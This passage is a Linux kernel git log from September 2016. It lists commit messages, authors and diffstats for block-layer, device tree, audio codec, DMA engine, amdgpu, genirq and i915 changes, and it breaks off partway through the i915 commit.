2 deletions(-) commit 3f7c624aa58f769e0313ca3310704c5d88ac99ce Author: Christoph Hellwig Date: Sun Sep 11 16:03:02 2016 +0200 block: remove bio_destructor_t Signed-off-by: Christoph Hellwig Reviewed-by: Bart Van Assche Signed-off-by: Jens Axboe include/linux/blk_types.h | 1 - 1 file changed, 1 deletion(-) commit 3073be6c29487ca81fcb5efd1748249a6f153c17 Merge: ddee928 5072ed1 Author: Arnd Bergmann Date: Wed Sep 14 17:17:53 2016 +0200 Merge tag 'arm-soc/for-4.9/devicetree-arm64' of http://github.com/Broadcom/stblinux into next/dt64 Pull "Broadcom devicetree-arm64 changes for 4.9" from Florian Fainelli: This pull request contains Broadcom ARM64-based SoC Device Tree changes for v4.9, please pull the folllowing: - Dhanajay adds the PWM Device Tree nodes to the Northstar 2 DTS files * tag 'arm-soc/for-4.9/devicetree-arm64' of http://github.com/Broadcom/stblinux: arm64: dts: Add PWM DT node for NS2 commit a8961cae29c38e225120c40c3340dbde2f552e60 Author: John Hsu Date: Tue Sep 13 11:56:03 2016 +0800 ASoC: nau8825: fix bug in FLL parameter In the FLL parameter calculation, the FVCO should choose the maximum one. The patch is to fix the bug about the wrong FVCO chosen. Signed-off-by: John Hsu Signed-off-by: Mark Brown Cc: stable@vger.kernel.org sound/soc/codecs/nau8825.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 96fc294cf6cb27f01a865959b9637d0aea3b57c2 Author: Hsin-Yu Chao Date: Wed Sep 14 22:25:40 2016 +0800 ASoC: da7219: software reset codec at probe Da7219 does not trigger interrupt to report jack status when system boots from warm reset because its power remains on during warm reset. Doing software reset at probe to handle this. Signed-off-by: Hsin-Yu Chao Signed-off-by: Xing Zheng Signed-off-by: Mark Brown sound/soc/codecs/da7219.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit ddee928d8f8c999d6c618f2b95fd56ecf4d67bb3 Merge: bd3af15 98e45c1 Author: Arnd Bergmann Date: Wed Sep 14 17:10:35 2016 +0200 Merge tag 'mvebu-dt64-4.9-1' of git://git.infradead.org/linux-mvebu into next/dt64 Pull "mvebu dt64 for 4.9 (part 1)" from Gregory CLEMENT: - add description for the new Armada 8040 dev board - add the PIC and PMU on Armada 7K/8K * tag 'mvebu-dt64-4.9-1' of git://git.infradead.org/linux-mvebu: arm64: dts: marvell: describe the PIC and PMU on Armada 7K/8K arm64: dts: marvell: add description for the Armada 8040 dev board arm64: dts: marvell: add description for the slave CP110 in Armada 8K commit bd3af15a4e4d528bb0a0eea1daca0b818baa9fd8 Merge: 5661beb 28546b0 Author: Arnd Bergmann Date: Wed Sep 14 17:07:38 2016 +0200 Merge tag 'qcom-arm64-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/agross/linux into next/dt64 Pull "Qualcomm ARM64 Updates for v4.9" from Andy Gross: * Updates for MSM8916 including TSCR, SMSM/SMP2P, and MBA reserve * Update SCM node to denote being a reset-controller * Fix broken interrupt settings * Add TSENS nodes for MSM8916/MSM8996 * Add DB820c support * Add MSM8916/APQ8016 display support * tag 'qcom-arm64-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/agross/linux: arm64: dts: apq8016-sbc: Add HDMI display support arm64: dts: msm8916: Add display support arm64: dts: db820c: add support to external sd card. arm64: dts: db820c: add support to SPI on HS arm64: dts: db820c: add support to LS-SPI0 arm64: dts: db820c: add support to I2C on HS arm64: dts: db820c: add support to LS-I2C1 arm64: dts: db820c: add support to LS-I2C0 arm64: dts: db820c: add support to LS-UART0 arm64: dts: db820c: add basic board support arm64: dts: msm8996: Add thermal zones, tsens and qfprom nodes arm64: dts: msm8916: Add thermal zones, tsens and qfprom nodes arm64: dts: qcom: Fix broken interrupt trigger settings arm64: dts: qcom: msm8916: Add tcsr syscon arm64: dts: qcom: msm8916: Make scm a reset-controller arm64: dts: qcom: msm8916: Add mba memory reserve arm64: dts: qcom: msm8916: Add smsm and smp2p nodes commit 42531686639d6a3fe49518f2baca3f7256708242 Author: Axel Lin Date: Sun Jun 5 18:42:27 2016 +0800 spi: st-ssc4: Fix misuse of devm_gpio_request/devm_gpio_free APIs devm_* API is supposed to be used only in probe function call. The resource is allocated at 'probe' and free automatically at 'remove'. Usage of devm_* functions outside probe sometimes leads to resource leak. Thus avoid using devm_* APIs in .setup/.cleanup callbacks. Signed-off-by: Axel Lin Signed-off-by: Mark Brown drivers/spi/spi-st-ssc4.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit 5661beb338add757102e7a1f7cd10cfc5989817d Merge: 530518a 0f5d3ec Author: Arnd Bergmann Date: Wed Sep 14 17:01:17 2016 +0200 Merge tag 'hisi-soc-dt-for-4.9' of git://github.com/hisilicon/linux-hisi into next/dt64 Pull "ARM64: DT: Hisilicon SoC DT updates for 4.9" from Wei Xu: - Set UART1 clock frequency to 150MHz for higher baud rates on hikey - Add display subsystem, HDMI and cma nodes on hikey to support display - Add syscon-reboot-mode support on hikey - Add pstore support on hikey - Add resets and sd-uhs-sdr property dwmmc ndoe on hikey - Remove hip05_hns.dtsi since it can not be built without mbigenv1 - Update system controller bingding document for hip05 and hip06 - Add xge and sas support on hip06 * tag 'hisi-soc-dt-for-4.9' of git://github.com/hisilicon/linux-hisi: arm64: dts: hi6220: add sd-uhs- properties into dwmmc_1 arm64: dts: hi6220: add resets property into dwmmc nodes arm64: dts: hikey: extend default cma size to 128MB arm64: dts: hip06: Append sas node arm64: dts: hip06: Append hns node dt-bindings: hisilicon: Add Hip05 and Hip06 system controller support arm64: dts: hip05: kill hip05_hns.dtsi arm64: dts: hikey: Add pstore support for HiKey arm64: dts: hikey: Add hikey support for syscon-reboot-mode arm64: dts: Add HDMI node for hi6220-hikey arm64: dts: Add display subsystem DT nodes for hi6220-hikey arm64: dts: set UART1 clock frequency to 150MHz commit d30363364811e956816cb586936269ecb9a30299 Author: Jamie Lentin Date: Sat Aug 6 11:10:13 2016 +0100 ARM: dts: orion5x: Configure WNR854T ethernet PHY LEDs The default PHY configuration disables most of the LEDs. The following configures the ethernet activity LEDs as Netgear intended. [gregory.clement@free-electrons.com: fix commit title] Signed-off-by: Jamie Lentin Reviewed-by: Andrew Lunn Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/orion5x-netgear-wnr854t.dts | 51 +++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit 530518af84c07a070072ead98bd5c0d4ed64bebf Merge: 9b2a8b8 36d1c9c Author: Arnd Bergmann Date: Wed Sep 14 16:51:15 2016 +0200 Merge tag 'samsung-dt64-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux into next/dt64 Pull "Samsung DeviceTree ARM64 update for v4.9" from Krzysztof Kozlowski: 1. Use human-friendly symbols for interrupt flags. * tag 'samsung-dt64-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux: arm64: dts: exynos: Use human-friendly symbols for timer interrupt flags commit 9b2a8b8bdbe5d5d2b0d325eb88e478398ca3552f Merge: 3eab887 270e0c3 Author: Arnd Bergmann Date: Wed Sep 14 16:49:51 2016 +0200 Merge tag 'uniphier-dt64-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/masahiroy/linux-uniphier into next/dt64 Merge "UniPhier ARM64 SoC DT updates for v4.9" from Masahiro Yamada: * Match DT names other projects and documents * Use clock/reset drivers * Add new SoC/board support * Misc * tag 'uniphier-dt64-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/masahiroy/linux-uniphier: arm64: dts: uniphier: add LD11 SoC/Board support arm64: dts: uniphier: add specific compatible to SoC-Glue node arm64: dts: uniphier: use clock/reset controllers arm64: dts: uniphier: add pinctrl property to System Bus node arm64: dts: uniphier: match DT names to other projects and documents commit 3e1de31b9bf608c5b35e2d0d134eb87f2a9ba4ae Author: Bart Van Assche Date: Wed Sep 14 10:46:22 2016 +0200 block: Improve bio_set_op_attrs() robustness Since REQ_OP_BITS == 3 and __REQ_NR_BITS == 30 it is not that hard to pass an op_flags argument to bio_set_op_attrs() that is larger than the number of bits reserved for the op_flags argument. Complain if this happens. Additionally, ensure that negative arguments trigger a complaint (1 << ... is signed while 1U << ... is unsigned; adding 0U to an integer expression causes it to be promoted to an unsigned type). Signed-off-by: Bart Van Assche Cc: Mike Christie Cc: Christoph Hellwig Cc: Hannes Reinecke Cc: Damien Le Moal Reviewed-by: Johannes Thumshirn Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe include/linux/blk_types.h | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) commit 4382e33ad374862eacf62003bb02c750391ada05 Author: Bart Van Assche Date: Wed Sep 14 10:45:36 2016 +0200 block, dm-crypt, btrfs: Introduce bio_flags() Introduce the bio_flags() macro. Ensure that the second argument of bio_set_op_attrs() only contains flags and no operation. This patch does not change any functionality. Signed-off-by: Bart Van Assche Cc: Mike Christie Cc: Chris Mason (maintainer:BTRFS FILE SYSTEM) Cc: Josef Bacik (maintainer:BTRFS FILE SYSTEM) Cc: Mike Snitzer Cc: Hannes Reinecke Cc: Damien Le Moal Reviewed-by: Johannes Thumshirn Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe drivers/md/dm-crypt.c | 2 +- fs/btrfs/inode.c | 5 +++-- include/linux/blk_types.h | 3 ++- 3 files changed, 6 insertions(+), 4 deletions(-) commit 637ca77bd1f7950538956c61dcd0c2e559905dbf Author: Bart Van Assche Date: Wed Sep 14 10:44:12 2016 +0200 block: Document that bio_op() uses the data type of bio.bi_opf Make it clear that the sizeof(unsigned int) expression in BIO_OP_SHIFT refers to the bi_opf member of struct bio. Signed-off-by: Bart Van Assche Cc: Mike Christie Cc: Christoph Hellwig Cc: Hannes Reinecke Cc: Damien Le Moal Reviewed-by: Johannes Thumshirn Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe include/linux/blk_types.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b6114633fb21c83af21ac26254f7951664f9697b Author: Jamie Lentin Date: Wed Sep 14 16:47:26 2016 +0200 ARM: dts: orion5x: Add description for Netgear WNR854T This is a router based on the mv88f5181 chipset. http://www.netgear.com/support/product/WNR854T.aspx http://wiki.openwrt.org/toh/netgear/wnr854t [gregory.clement@free-electrons.com: - extract dt part from "arm: orion5x: Add DT-based support for Netgear WNR854T" - squashed "arm: orion5x: Alias uart0 to serial0 for all orion5x" into this commit and move serial0 alias from dtsi to dts] Signed-off-by: Jamie Lentin Signed-off-by: Gregory CLEMENT .../bindings/arm/marvell/marvell,orion5x.txt | 1 + arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/orion5x-netgear-wnr854t.dts | 200 +++++++++++++++++++++ 3 files changed, 202 insertions(+) commit a441b0d093b3690b7cc2cb30998358904d051db4 Author: Linus Walleij Date: Wed Sep 14 14:32:52 2016 +0200 block: remove remnant refs to hardsect commit e1defc4ff0cf57aca6c5e3ff99fa503f5943c1f1 "block: Do away with the notion of hardsect_size" removed the notion of "hardware sector size" from the kernel in favor of logical block size, but references remain in comments and documentation. Update the remaining sites mentioning hardsect. Signed-off-by: Linus Walleij Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe Documentation/block/biodoc.txt | 4 ++-- block/bio.c | 2 +- fs/befs/linuxvfs.c | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit abe47114b192a9e0167905a3418d815b4fcf87de Author: Linus Walleij Date: Wed Sep 14 14:33:15 2016 +0200 block: remove blk_mq_alloc_single_hw_queue() prototype The blk_mq_alloc_single_hw_queue() is a prototype artifact that should have been removed with commit cdef54dd85ad66e77262ea57796a3e81683dd5d6 "blk-mq: remove alloc_hctx and free_hctx methods" where the last users of it were deleted. Fixes: cdef54dd85ad ("blk-mq: remove alloc_hctx and free_hctx methods") Signed-off-by: Linus Walleij Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe include/linux/blk-mq.h | 1 - 1 file changed, 1 deletion(-) commit 223757016837d5bc8546c5683e13fbafe6cb374d Author: Christoph Hellwig Date: Wed Sep 14 11:56:13 2016 +0200 block_dev: remove DAX leftovers DAX support for block devices was removed in commits 03cdad ("block: disable block device DAX by default") and 99a01cd ("block: remove BLK_DEV_DAX config option"), but we still kept a call to dax_do_io and some uneeded i_flags manipulations introduced in commit bbab37 ("block: Add support for DAX reads/writes to block devices"). Remove those leftovers. Signed-off-by: Christoph Hellwig Reviewed-by: Johannes Thumshirn Acked-by: Dan Williams Signed-off-by: Jens Axboe fs/block_dev.c | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) commit d21ea4bc0f6afbc852f1436c7c691c7b6fed0eb8 Author: Stephen Bates Date: Tue Sep 13 12:23:16 2016 -0600 block: enable zeroing of io_poll statistics Allow the io_poll statistics to be zeroed to make for easier logging of polling event. Signed-off-by: Stephen Bates Acked-by: Christoph Hellwig Signed-off-by: Jens Axboe block/blk-mq-sysfs.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 6e219353afa1f67f453141f7462b01708ebf5574 Author: Stephen Bates Date: Tue Sep 13 12:23:15 2016 -0600 block: add poll_considered statistic In order to help determine the effectiveness of polling in a running system it is usful to determine the ratio of how often the poll function is called vs how often the completion is checked. For this reason we add a poll_considered variable and add it to the sysfs entry for io_poll. Signed-off-by: Stephen Bates Acked-by: Christoph Hellwig Signed-off-by: Jens Axboe block/blk-core.c | 8 ++++++-- block/blk-mq-sysfs.c | 4 +++- include/linux/blk-mq.h | 1 + 3 files changed, 10 insertions(+), 3 deletions(-) commit 77a1c68a96f4e018860033f3827602014a4f1663 Author: Arnd Bergmann Date: Tue Sep 6 16:06:23 2016 +0200 ARM: orion5x: remove extraneous NO_IRQ rd88f6183ap-ge passes NO_IRQ as the interrupt line for its m25p80 NOR flash. However, this device never uses an interrupt and the driver doesn't care, so we can simply remove the deprecated constant here. Signed-off-by: Arnd Bergmann Reviewed-by: Andrew Lunn Signed-off-by: Gregory CLEMENT arch/arm/mach-orion5x/rd88f6183ap-ge-setup.c | 1 - 1 file changed, 1 deletion(-) commit fe158a17c1e0d477f08990f426f30e13eb3c8851 Author: Arnd Bergmann Date: Mon Sep 5 16:18:45 2016 +0200 ARM: orion: simplify orion_ge00_switch_init One of the last users of NO_IRQ on ARM is the switch initialization code on orion5x, which sometimes passes a GPIO based IRQ number. However, the driver doesn't actually use this number, and according to Andrew Lunn never will do it for non-DT based machines, so we can simply drop the irq argument. Simplifying it further, we can also drop the static platform_device and instead call platform_device_register_data(), which in turn lets us mark the platform_data structures as __initdata and slightly reduce the memory consumption. Signed-off-by: Arnd Bergmann Signed-off-by: Gregory CLEMENT arch/arm/mach-orion5x/common.c | 4 ++-- arch/arm/mach-orion5x/common.h | 2 +- arch/arm/mach-orion5x/rd88f5181l-fxo-setup.c | 4 ++-- arch/arm/mach-orion5x/rd88f5181l-ge-setup.c | 5 ++--- arch/arm/mach-orion5x/rd88f6183ap-ge-setup.c | 5 ++--- arch/arm/mach-orion5x/wnr854t-setup.c | 4 ++-- arch/arm/mach-orion5x/wrt350n-v2-setup.c | 4 ++-- arch/arm/plat-orion/common.c | 26 ++------------------------ arch/arm/plat-orion/include/plat/common.h | 3 +-- 9 files changed, 16 insertions(+), 41 deletions(-) commit 93a753bdc1b77e01721c709761fb796a33455a53 Author: Arnd Bergmann Date: Tue Sep 6 16:06:21 2016 +0200 ARM: mvebu/orion: remove NO_IRQ check from device init For most devices, we know in advance whether they have an interrupt line or not, so we can avoid passing NO_IRQ and instead split fill_resources() into two interfaces, with only the new fill_resources_irq() function taking an irq argument, which it then can use unconditionally. Signed-off-by: Arnd Bergmann Signed-off-by: Gregory CLEMENT arch/arm/plat-orion/common.c | 52 ++++++++++++++++++++++++-------------------- 1 file changed, 29 insertions(+), 23 deletions(-) commit 7d619d8ae06e747c602034b0c681f0ff5d96f030 Author: Arnd Bergmann Date: Tue Sep 6 16:06:20 2016 +0200 ARM: mv78xx0: simplify ethernet device creation Out of the four ethernet devices on mv78xx0, only the first one has an error interrupt line, for the other ones we pass NO_IRQ and then ignore the argument. In order to get closer to complete remove of NO_IRQ, this simply drops the unused function arguments. Signed-off-by: Arnd Bergmann Reviewed-by: Andrew Lunn Signed-off-by: Gregory CLEMENT arch/arm/mach-mv78xx0/common.c | 9 ++------- arch/arm/plat-orion/common.c | 7 ++----- arch/arm/plat-orion/include/plat/common.h | 7 ++----- 3 files changed, 6 insertions(+), 17 deletions(-) commit 91762fab3082938d8b4aee986eeeca4f0a4fba5d Author: Jamie Lentin Date: Thu May 19 22:43:36 2016 +0100 ARM: dts: arm: orion5x: Add DT include for mv88f5181 Common definitions for the SoC for board definitions to use. [gregory.clement@free-electrons.com: fix commit title] Signed-off-by: Jamie Lentin Reviewed-by: Andrew Lunn Acked-by: Rob Herring Signed-off-by: Gregory CLEMENT .../bindings/arm/marvell/marvell,orion5x.txt | 1 + arch/arm/boot/dts/orion5x-mv88f5181.dtsi | 49 ++++++++++++++++++++++ 2 files changed, 50 insertions(+) commit 96b5a5452859ede1e19b1118d2dcaea3e2366cae Author: Jamie Lentin Date: Thu May 19 22:36:29 2016 +0100 dt-bindings: arm: add DT binding for Marvell Orion5x SoC family Copy the format for kirkwood/dove to orion5x [gregory.clement@free-electrons.com: fix commit title] Signed-off-by: Jamie Lentin Reviewed-by: Andrew Lunn Acked-by: Rob Herring Signed-off-by: Gregory CLEMENT .../bindings/arm/marvell/marvell,orion5x.txt | 23 ++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 220ece397c45f7cbcf6ebed7df5aa52e2506ac26 Author: Jamie Lentin Date: Thu May 19 22:34:03 2016 +0100 ARM: dts: orion5x: Add required properties for orion-wdt to DT node orion-wdt refuses to start without these properties defined, so lift definitions out of kirkwood/dove.dtsi [gregory.clement@free-electrons.com: fix commit title] Signed-off-by: Jamie Lentin Reviewed-by: Andrew Lunn Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/orion5x.dtsi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit ab48eb533270e23aef28f572c6838c1c760ad8df Author: Baruch Siach Date: Mon Sep 5 22:00:10 2016 +0300 dt-binding: mrvl-gpio: remove orion-gpio description The Orion GPIO controller binding description in mrvl-gpio.txt is obsolete, and duplicates the description in gpio-mvebu.txt. Signed-off-by: Baruch Siach Reviewed-by: Andrew Lunn Signed-off-by: Gregory CLEMENT .../devicetree/bindings/gpio/mrvl-gpio.txt | 23 ---------------------- 1 file changed, 23 deletions(-) commit 93970e67bdaec174ba8dad93e5ebb55be98f8d61 Author: Thomas Petazzoni Date: Thu Sep 1 17:41:24 2016 +0200 arm64: dts: marvell: enable MSI for PCIe on Armada 7K/8K This commit adds a reference to the appropriate MSI controller in the description of the PCIe controllers on Marvel Armada 7K and 8K platforms. Signed-off-by: Thomas Petazzoni Signed-off-by: Gregory CLEMENT arch/arm64/boot/dts/marvell/armada-cp110-master.dtsi | 3 +++ arch/arm64/boot/dts/marvell/armada-cp110-slave.dtsi | 3 +++ 2 files changed, 6 insertions(+) commit f166d9f297684faa153dabc2b8887f61bbe7858c Author: Tom St Denis Date: Wed Sep 7 08:03:28 2016 -0400 drm/amd/amdgpu: Remove double lock from gfx v6 The function gfx_v6_0_get_cu_info() was taking the grbm_idx_mutex which was then taken by a dependent function gfx_v6_0_get_cu_active_bitmap(). This patch removes the select from the parent function to avoid the double lock. Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 4 ---- 1 file changed, 4 deletions(-) commit 075719c3cb79f309fc775a7f8f49d91a0351ceb3 Author: Tom St Denis Date: Tue Sep 6 13:09:26 2016 -0400 drm/amd/amdgpu: Convert messages in gmc v6 to dev_*() Make the kernel log messaging more consistent and use the dev_*() functions instead of a mix of DRM_*() and printk(). Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gmc_v6_0.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit e5c5304f138726ee5c8aeda2c7bcbcbc52da102a Author: Tom St Denis Date: Tue Sep 6 12:07:21 2016 -0400 drm/amd/amdgpu: Comment out currently unused SI DPM struct The tahiti_le structure is not currently used. Comment it out to avoid warnings. Signed-off-by: Tom St Denis Acked-by: Edward O'Callaghan Reviewed-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 2 ++ 1 file changed, 2 insertions(+) commit f80c738c614e4410c3c343141c0edabfea421862 Author: Tom St Denis Date: Tue Sep 6 11:56:42 2016 -0400 drm/amd/amdgpu: Tidy up SI SMC code (v2) As well as merge SMC clock functions into one to reduce LOC. v2: Fix swapped ck enable bit bug: https://bugs.freedesktop.org/show_bug.cgi?id=97801 Signed-off-by: Tom St Denis Reviewed-by: Edward O'Callaghan Reviewed-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 6 +++--- drivers/gpu/drm/amd/amdgpu/si_smc.c | 25 ++++++++----------------- drivers/gpu/drm/amd/amdgpu/sislands_smc.h | 3 +-- 3 files changed, 12 insertions(+), 22 deletions(-) commit f2f6f828fc79509d7582d5f338ecf0795250d8b5 Author: Tony Lindgren Date: Tue Sep 13 10:22:43 2016 -0700 dmaengine: cppi41: Ignore EINPROGRESS for PM runtime We can occasionally get -EINPROGRESS for pm_runtime_get. In that case we can just continue as we're queueing transfers anyways when pm_runtime_active is not set. Fixes: fdea2d09b997 ("dmaengine: cppi41: Add basic PM runtime support") Signed-off-by: Tony Lindgren Signed-off-by: Vinod Koul drivers/dma/cppi41.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 360af35b08da9def3be8b67398f4e0f90c292e37 Author: Masahiro Yamada Date: Tue Sep 13 03:08:17 2016 +0900 dmaengine: cleanup with list_first_entry_or_null() The combo of list_empty() check and return list_first_entry() can be replaced with list_first_entry_or_null(). Signed-off-by: Masahiro Yamada Acked-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/coh901318.c | 22 ++++------------------ drivers/dma/ep93xx_dma.c | 6 ++---- drivers/dma/ste_dma40.c | 36 +++++------------------------------- drivers/dma/virt-dma.h | 6 ++---- 4 files changed, 13 insertions(+), 57 deletions(-) commit d4c77c0532e2eceaccdeeec493b2e39666c97406 Author: Peter Ujfalusi Date: Tue Sep 13 10:58:43 2016 +0300 dmaengine: omap-dma: Correct type2 descriptor's member types The type of CDEI, CSEI, CDFI and CSFI is signed. This did not caused issue so far as we only use unsigned values. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/omap-dma.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit ecb3f394c5dba897d215a5422f1b363e93e2ce4e Author: Craig Gallek Date: Tue Sep 13 12:14:51 2016 -0400 genirq: Expose interrupt information through sysfs Information about interrupts is exposed via /proc/interrupts, but the format of that file has changed over kernel versions and differs across architectures. It also has varying column numbers depending on hardware. That all makes it hard for tools to parse. To solve this, expose the information through sysfs so each irq attribute is in a separate file in a consistent, machine parsable way. This feature is only available when both CONFIG_SPARSE_IRQ and CONFIG_SYSFS are enabled. Examples: /sys/kernel/irq/18/actions: i801_smbus,ehci_hcd:usb1,uhci_hcd:usb7 /sys/kernel/irq/18/chip_name: IR-IO-APIC /sys/kernel/irq/18/hwirq: 18 /sys/kernel/irq/18/name: fasteoi /sys/kernel/irq/18/per_cpu_count: 0,0 /sys/kernel/irq/18/type: level /sys/kernel/irq/25/actions: ahci0 /sys/kernel/irq/25/chip_name: IR-PCI-MSI /sys/kernel/irq/25/hwirq: 512000 /sys/kernel/irq/25/name: edge /sys/kernel/irq/25/per_cpu_count: 29036,0 /sys/kernel/irq/25/type: edge [ tglx: Moved kobject_del() under sparse_irq_lock, massaged code comments and changelog ] Signed-off-by: Craig Gallek Cc: David Decotigny Link: http://lkml.kernel.org/r/1473783291-122873-1-git-send-email-kraigatgoog@gmail.com Signed-off-by: Thomas Gleixner Documentation/ABI/testing/sysfs-kernel-irq | 53 ++++++++ include/linux/irqdesc.h | 3 + kernel/irq/irqdesc.c | 193 ++++++++++++++++++++++++++++- 3 files changed, 247 insertions(+), 2 deletions(-) commit aa570be6de67f3772cc850a7bfbe659214aa9ee4 Author: Michael Ellerman Date: Sat Sep 10 19:56:04 2016 +1000 dmaengine: NO_IRQ removal from powerpc-only drivers We'd like to eventually remove NO_IRQ on powerpc, so remove usages of it from powerpc-only drivers. Signed-off-by: Michael Ellerman Signed-off-by: Vinod Koul drivers/dma/bestcomm/bestcomm.c | 4 ++-- drivers/dma/fsl_raid.c | 2 +- drivers/dma/fsldma.c | 12 ++++++------ drivers/dma/mpc512x_dma.c | 4 ++-- drivers/dma/ppc4xx/adma.c | 4 ++-- 5 files changed, 13 insertions(+), 13 deletions(-) commit 3049d1343f0d05700475a967ab06fa5256890850 Merge: 905933a 77fd413 Author: Linus Walleij Date: Wed Sep 14 14:37:36 2016 +0200 Merge tag 'sh-pfc-for-v4.9-tag3' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/renesas-drivers into devel pinctrl: sh-pfc: Updates for v4.9 (take three) - Return pinconf with arguments in packed format, - MSIOF and QSPI pin groups on R-Car V2H, - Voltage switching for SDHI on R-Car M2-W, E2, and M3-W. commit 443fd7c92f5a000796b02683157d17b2575450e1 Author: Peter Griffin Date: Mon Sep 5 15:16:00 2016 +0200 ARM: DT: STi: stihxxx-b2120: Add DT nodes for STi audio card This patch enables the uniperif players 2 & 3 for b2120 boards and also adds the "simple-audio-card" device node to interconnect the SoC sound device and the codec. Signed-off-by: Arnaud Pouliquen Signed-off-by: Peter Griffin arch/arm/boot/dts/stihxxx-b2120.dtsi | 45 ++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) commit 67f1ff404bdd50e46910b352be830d797fa51ec1 Author: Peter Griffin Date: Mon Sep 5 15:16:00 2016 +0200 ARM: STi: DT: STiH407: Add uniperif reader dt nodes This patch adds the DT node for the uniperif reader IP block found on STiH407 family silicon. Signed-off-by: Arnaud Pouliquen Signed-off-by: Peter Griffin arch/arm/boot/dts/stih407-family.dtsi | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit 271739b6d81b00c358a306d9fc06b7ee86d742ea Author: Peter Griffin Date: Mon Sep 5 15:16:00 2016 +0200 ARM: STi: DT: STiH407: Add uniperif player dt nodes This patch adds the DT nodes for the uniperif player IP blocks found on STiH407 family silicon. Signed-off-by: Arnaud Pouliquen Signed-off-by: Peter Griffin arch/arm/boot/dts/stih407-family.dtsi | 80 +++++++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) commit 9cf807f6023683d770bf0153af9fe5265ae2bdfd Author: Peter Griffin Date: Mon Sep 5 15:16:00 2016 +0200 ARM: STi: DT: STiH407: Add sti-sasg-codec dt node This patch adds the dt node for the internal audio codec IP. Signed-off-by: Arnaud Pouliquen Signed-off-by: Peter Griffin arch/arm/boot/dts/stih407-family.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit 857d477feb5d9a62ba8fb3a06bf2ad200bc7f4ad Author: Peter Griffin Date: Mon Sep 5 15:16:00 2016 +0200 ARM: DT: STiH407: Add spdif_out pinctrl config This patch adds the pinctrl config for the spidf out pins used by the sasg codec IP. Signed-off-by: Arnaud Pouliquen Signed-off-by: Peter Griffin Acked-by: Lee Jones arch/arm/boot/dts/stih407-pinctrl.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit d4fe226c7ff3af3c707e766e98af06ebe6626e5e Author: Peter Griffin Date: Mon Sep 5 15:16:00 2016 +0200 ARM: DT: STiH407: Add i2s_in pinctrl configuration This patch adds the pinctrl config for the i2s_in pins used by the uniperif reader IP. Signed-off-by: Arnaud Pouliquen Signed-off-by: Peter Griffin Acked-by: Lee Jones arch/arm/boot/dts/stih407-pinctrl.dtsi | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 6548defe72eb14c250dbc927b320660854a95aaa Author: Peter Griffin Date: Mon Sep 5 15:16:00 2016 +0200 ARM: DT: STiH407: Add i2s_out pinctrl configuration This patch adds the pinctrl config for the i2s_out pins used by the uniperif player IP. Signed-off-by: Arnaud Pouliquen Signed-off-by: Peter Griffin Acked-by: Lee Jones arch/arm/boot/dts/stih407-pinctrl.dtsi | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 399ce40b4729ad3dcbca62ccb8af4b3ae84073b0 Author: Peter Griffin Date: Mon Sep 5 15:16:00 2016 +0200 ARM: STi: DT: STiH407: Add FDMA driver dt nodes. These nodes are required to get the fdma driver working on STiH407 based silicon. Signed-off-by: Peter Griffin Acked-by: Lee Jones arch/arm/boot/dts/stih407-family.dtsi | 52 +++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) commit c8ebfad7a063fe665417fa0eeb0da7cfe987d8ed Author: Ville Syrjälä Date: Tue Sep 13 12:22:19 2016 +0300 drm/i915: Ignore OpRegion panel type except on select machines Turns out commit a05628195a0d ("drm/i915: Get panel_type from OpRegion panel details") has regressed quite a few machines. So it looks like we can't use the panel type from OpRegion on all systems, and yet we absolutely must use it on some specific systems. Despite trying, I was unable to find any automagic way to determine if the OpRegion panel type is respectable or not. The only glimmer of hope I had was bit 8 in the SCIC response, but that turned out to not work either (it was always 0 on both types of systems). So, to fix the regressions without breaking the machine we know to need the OpRegion panel type, let's just add a quirk for this. Only specific machines known to require the OpRegion panel type will therefore use it. Everyone else will fall bck to the VBT panel type. The only known machine so far is a "Conrac GmbH IX45GM2". The PCI subsystem ID on this machine is just a generic 